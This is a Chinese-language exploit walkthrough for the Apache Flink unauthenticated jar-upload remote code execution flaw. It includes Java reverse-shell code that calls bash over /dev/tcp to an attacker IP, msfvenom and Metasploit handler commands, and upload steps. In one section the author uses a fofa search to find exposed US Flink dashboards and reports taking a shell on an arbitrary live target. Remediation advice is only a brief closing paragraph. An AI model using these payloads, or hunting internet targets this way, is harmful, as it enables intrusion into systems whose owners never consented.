apache flink任意jar包上傳導致遠程代碼執行的示例分析

漏洞描述:

2019年11月11號,安全工程師henry chen披露了一個apache flink未授權上傳jar包導致遠程代碼執行的漏洞。由于apache flink dashboard 默認無需認證即可訪問,通過上傳惡意jar包并觸發惡意代碼執行,從而獲取shell。

影響范圍

環境搭建:

(1) 提前安裝好Java(需要java8以上)

apache flink任意jar包上傳導致遠程代碼執行的示例分析

(2) 下載flink-1.9.1

下載地址:https://www.apache.org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz

(3) 解壓下載的壓縮包:

tar -zxf flink-1.9.1-bin-scala_2.11.tgz

(4) 進去到解壓后的目錄中,來到其bin目錄下:

apache flink任意jar包上傳導致遠程代碼執行的示例分析

(5) 啟動flink:

./start-cluster.sh

(6) 瀏覽器訪問驗證(默認端口為8081):

http://172.26.1.108:8081

apache flink任意jar包上傳導致遠程代碼執行的示例分析

出現上圖即搭建成功.

(7) 設置開機自啟(這里折騰了好久,一直起不來.直接source /etc/rc.d/rc.local可以啟動,但是重啟后并不會啟動flink,最后找到了解決方法)

apache flink任意jar包上傳導致遠程代碼執行的示例分析

開機自啟設置

漏洞復現:

jar包制作步驟:

(1) 參考https://klionsec.github.io/2016/09/27/revese-shell/#menu文中給出的利用java反彈shell

apache flink任意jar包上傳導致遠程代碼執行的示例分析

記得修改ip和端口:

apache flink任意jar包上傳導致遠程代碼執行的示例分析

代碼:

<p >package shell;public class Revs {   <br/> /**    * @param args    * @throws Exception     */    <br/> public static void main(String[] args) throws Exception {        <br/> // TODO Auto-generated method stub        <br/> Runtime r = Runtime.getRuntime();        <br/> String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.12/9999;<br/> cat <&5 | while read line; do $line 2>&5 >&amp5; done"};        <br/> Process p = r.exec(cmd);        <br/> p.waitFor();<br/>     }}</p><p >(2) 利用eclipse將其導出為一個可執行的jar包: a. 點擊 File-->Export(導出)</p>

apache flink任意jar包上傳導致遠程代碼執行的示例分析

b.然后選擇java–>Runnable JAR file

apache flink任意jar包上傳導致遠程代碼執行的示例分析

c.然后選擇對應的java項目和導出路徑以及導出文件名

apache flink任意jar包上傳導致遠程代碼執行的示例分析

圖片

這樣就生成了一個反彈shell的jar包

msf生成jar馬:

(1) 利用msfvenom來生成一個jar馬:

msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar

(2) 打開msf的監聽模塊,并監聽9999端口(要與我們jar馬設置的端口一致)

use exploit/multi/handlerset payload java/meterpreter/reverse_tcpset LHOST 172.26.1.156set LPORT 9999exploit

(3) 上傳我們生成的jar馬并提交后(這部分操作參考下面的復現),可以看到我們成功接收到shell:apache flink任意jar包上傳導致遠程代碼執行的示例分析

apache flink任意jar包上傳導致遠程代碼執行的示例分析

本地復現:

(1) 訪問目標:

apache flink任意jar包上傳導致遠程代碼執行的示例分析

(2) 點擊Submit New job,打開上傳jar包的頁面:

apache flink任意jar包上傳導致遠程代碼執行的示例分析

(3) 點擊Add New選擇我們制作好的jar包:

apache flink任意jar包上傳導致遠程代碼執行的示例分析

(4) 我們的機器上監聽好端口(我們制作的jar包是直接反彈shell的)

(5) 點擊我們剛剛上傳的jar包:

apache flink任意jar包上傳導致遠程代碼執行的示例分析

(6) 然后點擊Submit即可,可以看到我們已經成功接收到了shell:

apache flink任意jar包上傳導致遠程代碼執行的示例分析

互聯網站點:

fofa關鍵詞:

“apache-flink-dashboard” && country=”US”

apache flink任意jar包上傳導致遠程代碼執行的示例分析

(1) 隨便找一個目標:

apache flink任意jar包上傳導致遠程代碼執行的示例分析

(2) 點擊Submit new Job,可以看到其可以允許我們上傳jar包

apache flink任意jar包上傳導致遠程代碼執行的示例分析

(3) 利用flink上傳jar包的功能將我們的jar包上傳:

apache flink任意jar包上傳導致遠程代碼執行的示例分析

(4) 上傳后,我們在我們的vps上監聽好端口

(5) 然后回到瀏覽器,選中我們剛剛上傳的jar包,然后點擊Submitting提交,可以看到我們的vps已經成功接收到了shell

apache flink任意jar包上傳導致遠程代碼執行的示例分析

漏洞修復:

建議設置防火墻策略,僅允許白名單ip訪問 apache flink服務,并在Web代理(如apache httpd)中增加對該服務的digest認證。

時刻關注官網,等待新版本或補丁更新

? 版權聲明
THE END
喜歡就支持一下吧
點贊15 分享